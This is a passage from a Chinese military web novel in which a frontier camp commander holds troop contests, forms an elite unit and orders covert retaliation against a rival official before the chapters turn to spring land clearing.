秦小芸出身军户,耳濡目染之下,又经多日苦练,一根长棍在她手中宛如灵蛇,施展的正是秦猛亲传的“破锋枪法”简式。
她不与力大者硬拼,专攻下盘与关节:侧身避开一记猛劈,木棍如**出洞,疾点对手膝窝、胸口、脖颈,几个照面便将辅兵队一名人高马大的汉子“点”倒在地,动作干净利落。
“好!”袁飞的喝彩声最为响亮。
场外的陈月娘与林婉儿也忍不住欢呼雀跃,带动周围军民一片叫好。
秦猛嘴角亦扬起一丝弧度,却转瞬恢复平静。
他看重的不仅是妹妹的勇武,更是她逐渐成长,在激战中始终保持冷静、捕捉战机的敏锐。
王艳上场后,表现更为惊艳。
她本就身负武学功底,这段时日带领女兵训练,技艺愈发精湛。手中长棍如银龙翻浪,倏地一记疾刺似长江奔涌,旋即回旋格挡、顺势变招。
一记拦腰棍带着呼啸风声,正中对手肋下。趁对方踉跄之际,王艳反手一记扫堂棍如秋风卷叶,将对手狠狠掀翻在地。那汉子被打得晕头转向,场外徐强的欢呼声,瞬间压过了袁飞。
女子队仅有三四十人,却是最先完成体能、臂力、格斗三项考核,晋级第二关的队伍。
第二关为战阵模拟,采取团队对抗形式。女兵队被一分为二:
秦小芸任一队队长,任命文琴为副官。
另一队由红姑指挥,并推举勇猛的王艳担任先锋。
演练一开始,战况便异常激烈。
红姑队攻势凌厉,王艳作为先锋,一条长棍使得悍勇无匹,连续“击倒”数人。秦小芸队的先锋秦大丫勇猛彪悍,上前迎战却不敌,很快落入下风,左支右绌,眼看就要败下阵来。
就在这时,一声娇斥声响彻:“大丫姐退下,我来!”
第324章 沙场初亮剑,巾帼与少年
“休得猖狂,看招!”
紧要关头,一声清啸响彻全场。秦小芸话音未落,人已如疾风般掠出本阵,一棍戳倒一人,瞬间接替秦大丫,直面对手最强的先锋王艳。
她深知王艳力道刚猛,避其锋芒,身形飘忽不定,以巧劲连消带打,引得王艳的攻势屡屡落空。
两人缠斗在一起,秦小芸成功牵制住了敌将——等同于“阵斩先锋”,红姑队的攻势顿时受挫。
一队的副官文琴趁机接过指挥权,令秦大丫再度冲锋。
这个人高马大的姑娘果然不负众望,横冲直撞间瞬间“击倒”数人,率队趁机反击,稳住阵脚,逐步占据上风。
王艳见势不妙,想要抽身退走归阵。
秦小芸哪里肯给她机会?使尽浑身解数纠缠住她。
红姑暗道不妙,派人想来支援。
那边文琴也不甘示弱,让秦大丫带人往那边冲……
双方几十人,却打出来上百人的气势!一群女人乱战在一起,叫骂声,狂笑声令人瞠目结舌。
观战高台上,几位将领见此情景,也不禁微微颔首。
谁说女子不如男?
眼前这场女子队的排兵布阵,打得激烈胶着,丝毫不逊色于另一侧的辅兵、新兵团队对抗……
铁血军寨的女兵同样了不得!
第三关“特长展示”最是考验个人本事,场面也最为精彩纷呈。
校场之上,各类专长比试同步展开:
新兵队进行排兵布阵,负重急行军;
少青队、女兵队上演一出伪装潜伏与反侦查手段;
辅兵队演示了高效的后勤运输,挖战壕应对突袭;
而憋了股劲、实力强劲的**营队更是大显身手……
只见骏马飞驰,箭矢连珠,山地突进如履平地,多有人出林子还带着猎物,伪装潜伏神出鬼没,难以追查,将实战技能展现得淋漓尽致。
在此环节中,女兵队的表现尤为耀眼。在随机编队的小队攻防中,秦小芸所在小队的领队被射中出局,遭对手反扑,阵线即将崩溃之际。
她临危受命,不仅反射杀对面领队,更是接过指挥,一声令下迅速后撤,稳住了阵脚,继而凭借游击战术,逐步反败为胜,最终取得胜利。
而王艳,则将个人武勇发挥到极致,在个人对抗赛中,连续击败多名经验丰富的军汉,棍法凌厉,气势如虹,成为全场瞩目的焦点。
最令人振奋的,是随后的红姑,文琴的指挥特长展示。组成女子联队,与**营队伍正面交锋。
双方你来我往,厮杀激烈,尽管女子队最终惜败,但那群如狼似虎的**犯也仅剩五人仍能站立。
此战虽败犹荣,女子队所展现出的韧性与协作赢得全场敬重。
经此一役,不少女兵均以优异评分稳稳晋级。
秦小芸,王艳表现更加惊艳!
在跑马场上进行的骑射移动靶,更是秦小芸发挥的舞台。她控缰疾驰,三箭连发皆中红心;
沙盘推演时,她眼明心亮,迅速标出关键伏击点,分析透彻,逻辑清晰。最终她以女子组综合评分头名,强势晋级!
王艳在实战对演中攻势凌厉,展现出扎实的硬功夫。骑射项目中,她纵马如飞,不同于秦小芸的沉稳精准,王艳的风格更显悍猛凌厉。
——弓开如满月,箭去如流星,三箭不仅箭箭贯穿靶心,最后一箭更将靶架射得猛然晃倒。引得场边一阵低呼,大群来看热闹的狼戎女人们眼里流露出向往,也渴望成为一名女兵。
而袁飞,徐强这两个刺头,一个为秦小芸呐喊助威,另一个替王艳喝彩连连。彼此不服气写在脸上,相互对视,眼中似乎擦出了火花。
不过,两人心情还是非常愉悦的。
另一边秦大壮,李山两位副将,脸色就却黑了!
少年队的考核区域气氛相对活泼,如负重行军减为十斤,项目却一样不少,竞争同样激烈。
能拉开弓的少年本就不多。
这骑马射箭作为特长的寥寥无几。
所有人的目光都聚焦在三人身上:身形已显魁梧的秦硕、李魁,以及那个数月前还骨瘦如柴,如今却如雨后春笋般窜高一截、眼神锐利的小石头。
骑射环节,秦硕率先出场,控马娴熟,于十步外开弓,一箭射中移动靶边缘,引得叫好。
秦硕有点得意,后面两箭偏了,一箭飞远了,一箭中靶。
李魁甩膀子干仗行,骑射有点拉胯,再稍显紧张,先后两箭矢擦靶而过,最终一箭中靶。
轮到石头,他伏身马背,人马合一,在疾驰中沉稳开弓——
“嗖!”箭如流星,正中靶心!
随后又是两箭,全是射中靶中的红心。周围少年和观众静默一瞬,旋即爆发出雷鸣般的欢呼。
文化考核,识读军令文书,秦硕、李魁磕磕绊绊。
石头却上前一步,目光扫过沙盘,不仅流利读出文书,更迅速标出敌我态势,甚至指出了一处隐含的指令陷阱,让负责考核的文书官和一旁的李山都露出了惊异之色。
最终的包棉木棍格斗,将气氛推向白热化。三人皆穿厚实护具。
秦硕势大力沉,木刀猛劈猛砍;
李魁防守严谨,攻守兼备,步步为营。
而石头身形灵动如猿,闪转腾挪。他先是诱使秦硕猛攻,利用其惯性,一个巧妙的绊摔将其放倒。<
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br>对阵李魁时,他故意卖个破绽,李魁中计出击,石头木枪如电,精准点击其手腕,李魁顿觉酸麻,“木刀”脱手,接着就被追打出圈。
“石头!好样的!”
“魁哥,快点跑啊!”
“哈哈哈,队长打他屁股。”
场边少年的欢呼声、加油声震天响。
秦硕和李魁败下阵来,脸上满是难以置信和羞愧。而小石头站在场中,虽然气喘吁吁,但腰杆挺得笔直,他不仅赢了,更赢得漂亮。
连克两大热门,小石的综合成绩分数一骑绝尘。
在秦大壮的瞪视“没用的东西,回去加练”,李山的安抚“知耻后勇,方为丈夫”下,上前与石头碰了碰拳,并当众向他道歉。
此战,石头之名,响彻少年队。
让所有人都记住了这从流民中走出,脱胎换骨的少年郎!
……
辅兵晋级赛持续了两天,综合评定两天后贴出来。参赛三千多人,晋级者,超过了半数。
其中两成表现优异的成为战兵预备队。甚至如**营谢涛,郝霖,辅兵营昌烨,新兵营余六斤,女兵队秦小芸,王艳等,表现优异,个人能力出众,经过秦猛批准,直接成为战兵。
六成则晋级为军寨新设立的守备军或预备队。守备军也属于正规军序列,多是由伤兵退役,辅兵体能达标后组成,负责军寨,戍堡等守卫。
剩下的是从民兵转为辅兵,或从**营转为辅兵或预备队,包括女兵队和少青队也是如此。
综合成绩分数靠前的,更是有银钱、职位提升奖励。
而被淘汰的则满脸懊恼,或狠狠捶打地面,或捏紧拳头,发誓等下次晋级赛时,必要雪耻。
从辅兵晋级赛结束后,秦猛又筹备着战兵大比。
双塔、南河钉子拔除,李山、王铁山等将领凯旋,军寨兵力鼎盛。秦猛旋即下令展开战兵选拔,告示贴遍军寨、双涡堡、白松领矿区。
消息传出,各营队将表现优异的队员组织起来。每队五十人,派出两支或三支队伍来参赛。
秦猛一视同仁,特意下令,南狼戎作为军寨一份子,预备队内部也选拔出了百名勇士加入。
一支支精锐蜂拥而至,排序编号,共计千余人。
当参赛人员报名结束,这场选拔开始。
这批军卒多数都是从战场上杀出来的。他们的气势可要比辅兵强太多,校场之上,杀气盈天。
引来更多的军民观看,南狼戎人也成群结队地赶来。因为他们部落也有两支队伍加入比赛。
他们要为自己族群儿郎加油鼓劲!
这种踊跃参加集体活动,正是秦猛喜闻乐见的!
第325章 全军选拔,精锐争锋
三月中旬初,铁血军寨外。
秦猛端坐帅台,左右李山、王善、王铁山等将领按职分坐,赵平,周扬受邀而来,气氛肃杀。
一队队精锐从附寨走出,悄然列队。
选拔赛事项目更加繁琐,也更加严苛。
二十多支队伍,最终只取前五十,三十名预备名额,竞争残酷至极。
比赛首日,气氛就步入白热化!
“选拔赛正式开始!首重根基,首轮,体能筛选!”传令官的声音洪亮,压过了场边的窃窃私语。
第一项,乃是负重奔袭。参与选拔的士卒们披上全套铁甲,再背负五十斤的重物,需绕那周长三百余丈的跑马场急行军,狂奔十二圈。
起点线上,将士们目光坚毅,随着令旗挥下,队伍如一条蓄势已久的长龙,轰然涌出。
起初几圈,队列尚能保持严整,只闻铁甲铿锵声。
然而,三圈过后,体能的差距便开始无情地显现。均匀的呼吸声被粗浅不一的喘息打破。
整齐的队伍也逐渐拉长、散乱。
到了第五圈,已是**之末,不少人面色涨红,喘息声重如风箱,全凭着一股不肯认输的狠劲在支撑。
及至第七圈,体能极限真正到来,不断有人脚步虚浮,踉跄着不慎扑倒在地,旋即被一边待命多时的医疗兵迅速上前,脱离跑道救治。
这些大多都是狼戎队勇士。
而铁血军寨士卒又是一种不同的表现。
当有人体力不支摔倒时,或被队友搀扶起来,继续跑,或被各自小组轮流架着胳膊向前跑。
“起来,没有跑完,不准停下!”
“可以被淘汰,但绝对不能连第一项都不能通过!”
跑道上这种吼声此起彼伏,却带来莫名的震撼。观战的狼戎人神色惊悚,赵平,周扬等人从位置上起身,紧紧注视着赛场上发生的一切。
这铁血军寨的士卒好生顽强!
秦猛这小子练兵貌似留了一手哇!
第一项,限时跑完十二圈,就淘汰了十分之一的精锐。
第二项,耐力站立,被安排在午后。
经过上午的短暂休整,剩余的士卒们再次顶盔贯甲,手持制式兵器,需纹丝不动站立两个时辰。
暖阳隐入云层,一队队精锐如雕像般站立。时间一点点流逝,寒风如刀,刮过脸颊带走体温。
不断有人因体力不支或精神松懈而晕厥倒下。被医疗兵抬走,能坚持到最后的,眼神早已空洞麻木,全凭一丝不屈的意念在强行支撑。
这第二关,简单、粗暴,却最为残酷,直接将根基不稳者淘汰出局,人数达总分数四分之一。
这下参赛人数还不足九百!
亲卫营、陷阵营、卫戍营的精锐,因去年起便持续进行严苛的体能操练,底子颇为扎实,在这两轮筛选下,仅有五分之一的人被淘汰。
相比之下,工兵队,巡检队训练晚,差了许多。来了六支队伍,淘汰率过半,只剩下百多人。
狼戎队更是吃了亏,他们半数队员在这两项过后便黯然离场。
他们本是马背上的骄子,身强力壮,擅长的是骑射突击,这等纯拼步兵根基的体能耐力考核,正是其短处。
这并非主将秦猛有意针对,而是因为接下来的边军大比,正是以这两项身体筛选,作为开场,考校的便是最基础的体能、耐力和意志。
这是一支精锐军队的根基所在!
陷阵营,卫戍营等营队展现出的强悍素质。让观礼的赵平,周扬等人吃惊不小,他们面色凝重,心里更是为秦猛麾下士卒强悍而赞叹。
之后的选拔赛事,武艺考核区,更是龙争虎斗。
弓**射击:步射环节,射固定靶,百步穿杨者不乏其人。
但骑射,才是试金石。
战马奔腾,靶子快速移动,五十步外,能稳定命中者寥寥。一名叫赤兀惕的狼戎预备队员,在颠簸中连发三箭,箭箭咬靶,引得满场惊呼。而坐在高台上的副将伯恩笑开了花。
赵平目光一凝,问道:“好箭法,此人何名?”
“我狼戎预备队勇士,队将赤兀惕。”秦猛其实也不清楚,使人问过后,才回答,顺便提拔。
“多谢统领提拔。”伯恩知道赤兀惕只个什长,听到秦猛就明白是特别擢升,立刻起身谢过。
接下来,狼戎族又出了几个擅射者,尽管不如赤兀惕三箭靶心,却也箭箭中靶,能够在骑射命中移动靶不下十来人,皆是擅射之士。
不愧是从小在马背上长大的草原儿郎。秦猛当着赵平等人的面,没有吝啬,亲口着身提拔。
当然,他也没有一味地让狼戎出风头。赛场上,亲卫队将阮二,阮三,陈石等擅射者纷纷亮相,不是三箭连中靶心,就是三箭连发中靶。
这更是让围观的军民欢呼雷动。
狼戎人目睹这光明正大的比较,也是佩服不已。汉人并非孱弱,他们中同样有骁勇的战士。
袁飞见了表示不服,也想上去露一手。却被秦小芸一把扯住了,绷着脸,凶巴巴地说道:“你做啥子?你一个部将又没参赛,别去惹事。”
以往要是有人敢这么跟袁飞说话,他绝对会怼“要你管”,说不得还动手,可此刻却憨憨的笑了。
兵器格斗:依旧是木刀、包棉棍的碰撞声密如骤雨。对战双方皆尽全力,因这关乎前途。
有人招式老辣,有人悍不畏死。
王铁山看得兴起,不时大声点评,甚至为精彩攻防喝彩。<
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br>力量测试:开硬弓、举石锁。
一个又一个上场,展露出真正实力,公平公正。
一个身材敦实的汉子能够拉开两石拉力的改良弓。
一沉默大汉竟将三百斤石锁连举十下,面不改色,**立刻在其名字后,做了重点标记。也把几个狼戎开强弓,力量大的人记录下来。
战阵协作与特长,单挑搏杀,考验智慧与潜力。
小队攻防/障碍突进:十人随机编组。翻越高墙、穿过壕沟、破除障碍,团队协作至关重要。
有的队伍令行禁止,迅如臂使;有的则杂乱无章,贻笑大方。
李山鹰隼般的目光紧紧盯着每个小队长的临机决断。
特长加分,更是异彩纷呈:
伪装侦查:几名队员利用地形地物,竟在众目睽睽下“消失”,成功渗透至核心区域,其技艺令老兵咋舌。
野外辨识:有人能凭星象、草木、兽迹判位寻踪,甚至识得上百种树木,药材。
识文断字:能书写姓名、诵读简单军令者,皆获加分。
工兵队一矿工出身的壮汉,笨拙却认真地写下自己的名字,虽歪斜,却引得秦猛微微颔首。
经过数日激烈角逐,一轮轮强度递增的严苛淘汰,校场上的人数日益锐减。
冻土地面被反复践踏,碎冰混合着将士们的汗水和血渍,空气中也弥漫着一股铁与血的味道。
当最后一项考核结束,综合排名前五十的战兵名单终于尘埃落定。
另有三十个预备名额,也是优中选优。
名单公布那一刻,入选者难抑激动,有人振臂低吼,有人与同伴紧紧相拥,连日疲惫被此刻的无上荣光一扫而空。
落选者虽满面憾色,却也无话可说,这场比拼至公至正,唯有将不甘化作动力,暗自砥砺,以期来日。
高台上,主将秦猛霍然起身,目光如炬,俯瞰台下,这支历经烈火锻打出的真金锐旅。
细观其构成:预备队名额包含在内,其亲卫营表现卓绝,独占半数;
陷阵营与卫戍营作为中坚,各有十余人入选;
余下名额,则分属双涡堡、白松岭矿区与巡检司的悍勇之辈,狼戎族几个拼杀出来的勇士。
这八十人,乃是汇聚全军勇力、坚韧与智慧的锋锐,必将成为边军大比中令人生畏的力量。
秦猛大步走下高台,来到这群精锐面前,沉声道:“勇士们,选拔结束,正是磨砺的开始。
接下来,你等须刻苦磨合演练,为边军大比做万全准备。本将亲自操练尔等,定要争得最优名次!”
“是!”
八十条汉子昂首挺胸,齐声应和,声浪如雷,滚滚掠过校场,展现出无可匹敌的气势与决心。
第326章 镜鉴得失,铸我尖刀
铁血军寨的首次选拔赛,如同一块巨石投入湖中,激起的涟漪迅速扩散至整个边军系统。
赵平和周扬返回飞虎卫营地后,内心深受震撼。校场上那八十名精锐展现出的彪悍之气,与他们**以为常的“兵卒推举”选出的截然不同。
当夜,中军帐内灯火通明,赵平指着赛事项目表,对周扬及一众部将沉声道:“秦猛此法甚好。战场搏杀,要的就是最能打、最机灵的兵,而非最会做人情的兵。我等不可故步自封。”
次日,飞虎卫内线几乎照搬了铁血军寨的选拔科目,设立了障碍、**、骑射、负重越野等项目,一场轰轰烈烈的内部竞赛就此展开。
同时,八百里加急的快马也已派出,携带着赵平给其大哥——幽州主将赵起将军的详细信报,信中极力推崇此种选拔机制,并建言。
“若是能集全军之精锐,组一尖刀队,必能在大比中不逊龙骧军,镇北军,扬我虎贲军之威!”
他这个提议是从秦猛那里听到的。
当时观看赛事讨论时,秦猛的原话是这样的:“镇北军,龙骧军,说不得就是集合精锐参赛。与其各派队伍比,不如凑出两三支种子队。”
……
铁血军寨内,忙着杀猪宰羊,炖肉的香气弥漫四野,校场中央,燃起巨大的篝火。盛宴之上,大碗的酒,大块的肉,气氛热烈非凡。
陷阵营、卫戍营、工兵队等营队参赛者,以及所有为选拔赛奔波的组织人员齐聚一堂,欢声雷动。
中军大帐内,秦猛设宴款待各营队主力干将。
酒过三巡,菜过五味,帐内气氛稍缓。
诸葛风率先举杯,但话语却冷静而务实:“诸位,今日之宴,既是庆功,亦是明志。此次选拔,不仅是为大比择优选锐,更如一面明镜,
清晰照见了各营训练之得失。陷阵营正面攻坚无双,但小队过于勇猛,协同应变反而不足;卫戍营稳如磐石,谨慎有余却失于机动。
此非指责,而是机遇。今后训练,当以此为准,纠正不足之处,咱队伍缺什么,补什么!”
李恒接过话头,声音洪亮,带着激励:“诸葛先生所言极是!但我更看到,选拔赛极为成功。
通过此次公开、公平、公正的比拼,士卒们亲眼见证,凭手中刀枪、身上本事,即可晋升受赏,无需钻营人情。
如今,各营队士卒士气之高昂,求战欲望之强烈,实为我铁血军寨立寨以来,前所未见!此乃无形之财富,比选出的八十锐士更为可贵!”
秦猛见火候已到,豁然起身,魁梧的身躯在火光映照下如铁塔般威严。
他目光如炬,扫过麾下每一位将领的脸庞,声音沉浑有力:“你们不要急着反驳,诸葛先生和李恒都点到了关键。庆功之后,便是整军!
刘铁柱,你的兵弓箭阵犀利无比,但近战格斗技巧单一,遇上真正的高手要吃瘪。
李山,你的刀盾手防御堪称一绝,但远程压制力太弱,容易被敌人放风筝。从明日起,你二人营队结为‘兄弟营’,每日抽一队人马对调训练,刘铁柱的人去跟李山学盾阵配合,李山的人去跟刘铁柱练破阵刀法,互助互补。”
刘铁柱和李山对视一眼,同时抱拳,声若洪钟。
“得令!必不负大人所望!”
秦猛点头,目光转向另一侧:“张富贵,你的兵勇猛无畏,是尖刀,但过刚易折,造成无谓牺牲!
常勇,你则太过求稳,缺乏狭路相逢勇者胜的锐气。你二人,一个要学会动脑子,一个要敢豁出去。
今后每月联合演练,张富贵部为前锋,常勇部为策应,但要由常勇来制定整个进攻方略,张富贵负责执行,并且多听多学,相互探讨,我要你们互相磨掉对方的缺点,留下真正的精华!”
张富贵挠了挠头,常勇则若有所思,随即一同凛然应诺。
秦猛环视全场,声震四野:“练兵方法是基础,但更重要的还是将领,还是在座的诸位将领。将是兵之胆魂,你们进步了,士兵才能成长。
戒骄戒躁,保持本心,时刻学习着h唯有不断找出不足,刮骨疗毒,我等与麾下儿郎方能持续精进,在这北疆立于不败之地!都明白了吗?”
“得令!谨遵大人教诲!”
在场十多名将领齐声怒吼,声浪几乎要掀翻帐篷。
“好!”秦猛大手一挥,“正事谈完,现在商议嘉奖!有功不赏,何以激励后来者?大家都说说,此次选拔,该如何赏,才能让儿郎觉得血汗值得?”
随着秦猛抛砖引玉,帐内顿时如同炸开了锅。
众人各抒己见,有主张厚赏金银的,有认为晋升职位更实在的,也有提议给予田宅优待的。
经过一番激烈而高效的讨论,章程最终敲定:
基础奖励:总排名前五十者,皆记“丙等战功”一次,载入军籍,作为未来晋升提拔的最重要依据。
营内表彰:各营队内部,对表现优异,但未进入前五十者,由各营主官自行召开军事会议,进行钱粮、田亩等物资奖励和全营通报表彰。
至高荣誉:为**、障碍、骑射、负重等各单项科目前三甲,设立“三级战功勋章”。
此勋章不仅即刻奖励银钱布匹,更关键的是,它是一种身份的象征,是可以用血汗换取的无上荣耀。
次日清晨,朝阳喷薄而出。附寨军营的校场上,全军列阵,鸦雀无声,气
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氛庄严肃穆。
临时搭建的木台上,铺着猩红的战旗。
秦猛一身笔挺的千总戎装,立于台前,目光扫过台下无数张饱经风霜、充满期待的脸庞。
“弟兄们!”秦猛的声音不大,却清晰地传遍校场每一个角落,“昨日,你们用汗水、力量、意志,证明了你们的勇武!
今日,军寨便用荣誉,来回馈你们的付出!这枚‘三级战功勋章’,不大,也不重,但它上面,烙着的是铁血军寨的魂,是你们每一个人的名字和功绩!
它告诉所有人,在这里,功名但在马上取!前程只在刀中争!勇士,就应该获得荣誉!”
“现在,授勋开始!”
战鼓擂响,节奏低沉而有力。被念到名字的将士,依次昂首挺胸,大步上台。
他们的直属上官——王善、秦大壮、刘铁柱、李山、伯恩等人——早已肃立台上,手托铺着红色绒布的托盘,上面一枚枚黄铜打造的勋章,在朝阳下闪烁着冷峻而荣耀的光芒。
当上官亲手将勋章郑重地佩戴在他们左胸时,这些在战场上流血不流泪的悍卒,许多人都眼眶泛红,身体因激动而微微颤抖。
他们挺直脊梁,用最标准的军礼回应。台下,是无数道混合着羡慕、敬佩和决心的目光,如同实质般聚焦在那一枚枚小小的勋章上。
轮到伯恩为几名获得殊荣的狼戎族勇士授勋时,场面尤为感人。
伯恩看着自己同族年轻而激动的脸庞,用狼戎语沉声说了几句勉励的话。
那几名狼戎勇士转身朝秦猛,单手捶胸,发出低沉的吼声,眼中闪烁着近乎狂热的光芒。
这枚勋章,对他们而言,不仅是个人荣誉,更代表着军寨对他们这个族群的彻底接纳和认可,归属感与自豪感油然而生,比任何赏赐都更珍贵。
仪式结束,但荣誉勋章,带来的震撼与激励,却如同种子,深深埋入了每一名士卒的心底。
这回秦猛下了封口令,任何人不得随意宣扬、炫耀,可不能让寨外消停下来的赵平又跑过来。
授勋仪式结束后,秦猛立即投入新的工作。他从选拔总排名前三百的将士中,仔细剔除了原有的队正、哨长等基层军官,精心筛选出一百名纯粹的、潜力巨大的悍卒。
他将这些人单独编成一队,亲自统领,代号——“狂枭”。
在他的构想中,“狂枭”并非传统意义的亲兵护卫,而是经过特殊训练后,未来执行斩首、渗透、破袭、侦察等特种任务的“尖刀连”胚子。
这些士兵个人武勇出众,底子极好,如同未经雕琢的璞玉,只待他以超越这个时代的严酷训法去打磨,直至成为各方面突出的特种兵!
第327章 铁血柔情,幽州急报
当这“狂枭”一百名被选中队员首次集结时,秦猛站在他们面前,声音冰冷而充满压迫感:“入选‘狂枭’,不代表荣耀、升职,只代表从零开始,意味着你们即将承受地狱般的磨炼。
在各种严苛而极端的训练下,你们这种有可能挺不过去,甚至会死,现在,有人想退出吗?
走出队列,即刻回归原队,没有人会嘲笑你。”
场中一片死寂,只有粗重的呼吸声。人人昂首,无人移动,每一双眼睛都燃烧着不屈的火焰。
“很好。”秦猛嘴角勾起一丝冷酷的弧度,“记住你们今天的选择,从明天开始,你们将接触为期半年最残酷的训练,体能不达标者将会遣返回原本队伍。成功坚持下来的,将会成为军寨最精锐的战士,执行最危险的任务。
记住,不允许说半个字,解散,与家人告别。”
“是!”
处理完军务,秦猛难得地在天黑前回到了家中。小院宁静,炊烟袅袅,一股肉香味从伙房飘出。
他悄悄走进厨房,只见妻子陈月娘正系着围裙,背对着门口,在灶台前忙碌,身影窈窕。
以秦猛今时地位请两个丫鬟小菜一碟。可是陈月娘总是以自己下厨吃得放心为由头而婉拒。
“这傻姑娘!”秦猛心中一暖,猫着腰,蹑手蹑脚,悄悄上前,从后面轻轻搂住了那柔软的腰肢。
“啊…”陈月娘吓得一个激灵,差点叫出声来,却被早有准备的秦猛低头,用嘴堵住了红唇。
待看清是丈夫,她松了口气,俏脸瞬间绯红,象征性地挣扎了两下,便软在了那熟悉的怀抱里。
良久,唇分。
陈月娘气喘吁吁,轻捶着秦猛的胸膛,嗔道:“官人!你现在是越来越坏了,跟个偷香窃玉的贼子似的。”
“嘿嘿,男人不坏,女人不爱嘛。”秦猛笑嘻嘻地,捧着妻子细腻微红的脸颊,语气带着歉意,“月娘,这段时日军务繁忙,冷落你了。”
“妾身省得。”陈月娘却绷起小脸,故作严肃:“官人休要作此儿女情态!你身系军寨安危,是做大事的人,岂能终日沉溺于闺阁之乐?”
只是那眼底深处,却藏不住一丝幽怨与牵挂。
夫妻二人正耳鬓厮磨,说着体己话儿。
突然,屋外传来脚步声和少女银铃般的笑语。
“哎呀,官人别闹。”陈月娘慌忙推开秦猛,整理微乱的鬓发。
原来,是秦小芸拉着林婉儿她们,刚从女兵队训练回来。
“哇,哥,你今天回来的好早!”女孩小脸红扑扑的,满是兴奋,见到秦猛,立刻蹦跳着过来。
林婉儿似有所觉,在秦猛,陈月娘两人身上来回打量。
晚饭时,一桌菜肴丰盛,餐桌上的气氛温馨愉快。
秦小芸昂着小脑袋,像只骄傲的小孔雀,洋洋得意地炫耀:“哥,你看到没?我们女兵队这次选拔,可一点都不比那些男的差!我综合榜首,王艳姐武艺第一,箭术拿了第二呢!”
“看到了,厉害,厉害。我们秦家的巾帼英雄。”秦猛笑着给妹妹夹了块肉,随即脸色一正,“不过,小芸,王艳,你们需知自身长短。
女子气力天生弱于男子,近身搏杀是下策。你们的长处在于心细沉稳,柔韧性强。将来若临战阵,当以**远程打击为主,苦练箭术,力求精准致命。
战术上,要多用游击、设伏,如放风筝般拖垮敌人,切忌硬碰硬,避免正面较量,明白吗?”
“知道了!”秦小芸和王艳听得入神,不时追问细节,秦猛便深入浅出地讲解起来,指导她们。
一顿家常饭,倒成了小小的军事课堂。
饭后,秦猛正想帮月娘收拾碗筷,尽一尽丈夫的温情。可亲兵队长**却如一阵风般入堂屋,低声禀报:“大人,幽州城来人了,是急使。”
秦猛脸色瞬间凝重。前段时间幽州城的**攻讦,以及狼戎信使被斩之事,他都已知晓。这节骨眼上,幽州城突然派来急使,绝非寻常。
“月娘,我去去便回。”他深吸一口气,对陈月娘投去一个安抚的眼神,便大步向官署前厅走去。
厅内,风尘仆仆的信使恭敬地递上密封的信函。
秦猛拆开火漆,迅速浏览,脸色陡然一变,一掌拍在案几上,勃然大怒:“哼!崔文远这条老狗,果然是狗急跳墙,开始乱咬人了?”
密信上详细记述了幽州城近来的风起云涌:明月楼等铺子被官兵以搜查奸细为名骚扰。
城外由暗部经营的村店被幽狼卫突袭查封,幸得大虎石雄带队及时营救,双方发生短暂交锋,互有损伤……
“来而不往非礼也!真当老子是泥巴捏的,可以随意揉搓?”秦猛眼中寒光凛冽,再无半分之前的温情。
他立刻对牛五下令:“去,把陈麻子和陈老三给我叫来!”
很快,暗部的两位负责人悄无声息地出现在厅内。
秦猛压低声音,语气森寒:“燕北郡城境内,尤其是幽州官僚核心利益,我们的人渗透得如何了?”
陈老三躬身回答:“大人,青阳郡城已在掌控,燕北郡的几个县城,除偏
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远地区刚起步,皆有我们的人活动,只是渗透,探查深度不一。”
“好!”秦猛没有任何迟疑,声音压得更低,几乎细不可闻,“传令下去,启动‘猎杀’计划。
我会派飞天卫一队精锐配合你们……目标是崔家在燕北郡的所有明暗产业,特别是那些见不得光的。给我狠狠地打,但要做得干净,不留任何痕迹,像马贼流寇所为……明白吗?”
“属下明白!”
陈麻子和陈老三眼中闪过厉色,领命而去。
秦猛负手立于窗前,望向幽州城的方向,嘴角勾起一抹冰冷的弧度:“崔文远,你想玩,我就陪你玩把大的。看看谁能笑到最后!”
……
过了两天,军寨各项事务重回正轨,但节奏明显加快,带着一种大战来临前的压抑和高效。
巡检司刘大头、工兵队张大胆等人各自率部返回防区。张富贵也率本部人马返回双涡堡坐镇。
而此刻,秦猛的全部精力,都聚焦在了两把即将淬火的尖刀上。
——那八十人的“大比预选队”和一百余人的“狂枭”尖刀连。
他亲自带队,天不亮便出操,手把手教导这批人。训练强度远超常规部队,着重于极限体能、个人勇武搏杀、小队协同作战与配合。
秦猛的目标明确:在大比之前,不仅要把这群猛虎训练成精锐,更要将他们淬炼成心意相通、能在任何极端环境下生存并完成任务的战争机器。
尖刀连训练就更甚三分,综上所述外,得兼顾攀爬陡崖、武装泅渡、丛林潜伏、小组突击、伪装侦察……
训练强度前所未有,分为多阶段进行。目前是飞天营斥候为引导。队伍除了编队分组,磨合训练,多了野外雪地生存与特种作战技巧。
他们越过相对安全的边界,深入绵延森林狩猎,甚至悄无声息地渡过界河,在草原上进行极度危险的实战化演练,侦查草原部落情况等。
即便是少青队和女兵队,秦猛也给予了极具前瞻性的指导。
他对负责少青队的教官强调:“少年筋骨未定,可塑性强,当以打熬体能为根基,辅以技击技巧,文化课亦不可废,目标培养未来将材。”寨
对女子队,他则建议:“女子臂力稍逊但柔韧佳,可主攻**,苦练箭术。尽量避免近身战,当以灵巧和致命一击为主,专攻腕力与步伐。”
整个铁血军寨,如同一部精密而高效的战争机器,在秦猛的驱动下,轰然运转。驻扎守军是热火朝天的训练,而外部则是更火热的垦荒。
第328章 北疆垦荒潮,田垄映斜阳
铁血军寨近来虽举行了两场赛事,但秦猛深知,在这北疆之地,刀枪保障生存,粮食方能立足。
开垦荒地,乃是军寨延续的命脉所在!
他从未有一刻敢忘。早在冰雪初融之际,便委派老成持重的王槐,诸葛风,李恒共同负责此事。
入了三月,春雷隐隐,大地复苏,残雪尚未消尽,广袤的荒原上已是一片人声鼎沸。
在老保长王槐等人的组织下,军寨除了营建,工坊人员外,几乎所有能动用的劳动力都被动员起来,按两百人一队,编十多支垦荒大队。
人们领取了崭新的锄头、铁镐,如同出征的军队,开赴寨前肥沃的河滩地与寨后连绵的无人荒原。
首要任务,是将去年已经初步清理过树根、石块的大片生地,彻底开垦出来。
冻土依旧坚硬,一镐下去往往只能留下个白点,但生活在北疆的边民们有着自己的智慧。
他们提前扫开区域的积雪,让温暖的阳光照射,软化表层,再由青壮劳力在前方用蛮力与技巧翻开巨大的土块,妇孺老弱紧随其后,用木槌、锄背将冻土块敲碎、混入沤好的肥土。
农曹副使何方带着几队文书,忙碌地穿梭其间,用标尺仔细丈量着每一块被平整出来的土地,计算亩数,登记造册。
每满五十亩,便打下木牌为记!
——这便是未来按户授田的基础,立功将士的家庭,将在此基础上获得额外的田亩奖励。
垦荒现场,一位名叫周大山的老农显得尤为突出。
